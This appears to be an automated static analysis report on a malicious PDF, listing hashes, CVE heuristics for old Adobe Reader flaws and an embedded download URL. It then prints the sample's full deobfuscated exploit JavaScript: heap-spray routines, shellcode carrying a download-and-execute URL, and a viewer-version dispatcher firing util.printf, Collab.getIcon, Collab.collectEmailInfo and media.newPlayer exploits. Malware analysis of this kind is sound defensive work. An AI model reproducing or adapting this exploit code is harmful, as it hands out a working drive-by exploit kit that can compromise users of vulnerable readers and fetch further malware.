Malicious PDF — malware analysis report

Static analysis result for SHA-256 d2269bfd2d16eb30…

MALICIOUS

PDF

4.3 KB First seen: 2012-07-12
MD5: a963b8e5f797c3bb62d17dbdbb12b034 SHA-1: d1f79918fd392bd531158b5679bdca0c56868117 SHA-256: d2269bfd2d16eb3030cf3e830418870ee41b5eff65b2b443006a65f0ba771212
510 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File

The PDF document was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, indicating an attempt to execute code. The presence of JavaScript actions and embedded JS streams strongly suggests the file is designed to perform malicious actions, such as exploiting a PDF vulnerability or downloading a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://dddwww.cz.cc/as/viewforum.php/b42d1115b787eb1f59f407de5a1846c4?spl=pdf_13 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0xE76 93 bytes
SHA-256: 61b46047f90b888a00e497def64b956f6da2cb6e69e8905a21e0ba446aa10cd0
Preview script
First 1,000 lines of the extracted script
m1=this.info.gkds;m2=m1.replace(/zzzzz/g,"");m3=this.info.gggsd+"al";        app[m3](m2);
info_stride_js_000.js deobfuscated-js PDF /Info fields via stride 6 4578 bytes
SHA-256: 3d5e3864e0df69969b8f7e43f16f4b9350b974e9fe24f7ac72ff960462b920c0
Detection
ClamAV: Pdf.Exploit.Agent-35646
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function shcode()
{

sh = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u642F%u6464%u7777%u2E77%u7A63%u632E%u2F63%u7361%u762F%u6569%u6677%u726F%u6D75%u702E%u7068%u622F%u3234%u3164%u3131%u6235%u3837%u6537%u3162%u3566%u6639%u3034%u6437%u3565%u3161%u3438%u6336%u3F34%u7073%u3D6C%u6470%u5F66%u3331";
return sh;

}

function nplayer() {
function kzbve()
{
var eobwe="p@111111111111111111111111 : yyyy111";
util.printd(eobwe, new Date());
}

var grizxw=12000;
jucobu=new Array();
var klkng = "%u9090%u9090";
var hwjnalb8=shcode(shcode());
klkng=unescape(klkng);
hwjnalb8=unescape(hwjnalb8);

while(klkng.length <= 0x8000){klkng+=klkng;}
klkng=klkng.substr(0,0x8000 - hwjnalb8.length);
for(fzfwam=0;fzfwam<grizxw;fzfwam++) {jucobu[fzfwam]=klkng + hwjnalb8;}
if(grizxw){kzbve();kzbve();try {this.media.newPlayer(null);} catch(e) {}kzbve();}
}

function printf() {

var payload=unescape(shcode());

var nop ="";
for (iCnt=128;iCnt>=0;--iCnt) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
heapblock = nop + payload;
bigblock = unescape("%u9090%u9090");
headersize = 20;
spray = headersize+heapblock.length;
while (bigblock.length<spray) bigblock+=bigblock;
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < 0x40000) block = block+block+fillblock;
mem = new Array();
for (i=0;i<1400;i++) mem[i] = block + heapblock;

var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",num);
}

function geticon() {

var shellcode=unescape(shcode());

garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + shellcode;
nopblock = unescape("%u9090%u9090"); 
headersize = 10;
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = unescape("%0a%0a%0a%0a");
}

Collab.getIcon(buffer+"_N.bundle");
}

function collab() {

function fix_it(yarsp,len) {
while(yarsp.length*2<len) { yarsp+=yarsp; }
yarsp=yarsp.substring(0,len/2);
return yarsp; }
var shellcode=unescape(shcode());
var mem_array=new Array();
var cc=0x0c0c0c0c;
var addr=0x400000;
var sc_len=shellcode.length*2;
var len=addr-(sc_len+0x38);
var yarsp=unescape("%u9090%u9090");
yarsp=fix_it(yarsp,len);
var count2=(cc-0x400000)/addr;
for(var count=0;count<count2;count++) {mem_array[count]=yarsp+shellcode; }
var overflow=unescape("%u0c0c%u0c0c");
while(overflow.length<44952) {overflow+=overflow; }
this.collabStore=Collab.collectEmailInfo( { subj:"",msg:overflow } ); 

}

aPlugins = app.plugIns;
var sv=parseInt(app.viewerVersion.toString().charAt(0));
for (var i=0; i < aPlugins.length; i++)
  {
    if (aPlugins[i].name=="EScript")
      {
        var lv=aPlugins[i].version;
      }
  }  
if ((lv==9)||((sv==8)&&(lv<=8.12)))
  {
    geticon();
  }
else if (lv==7.1)
  {
    printf();
  }
else if (((sv==6)||(sv==7))&&(lv<7.11))
  {
    collab();
  }
else if ((lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17))
  {
        nplayer();
  }

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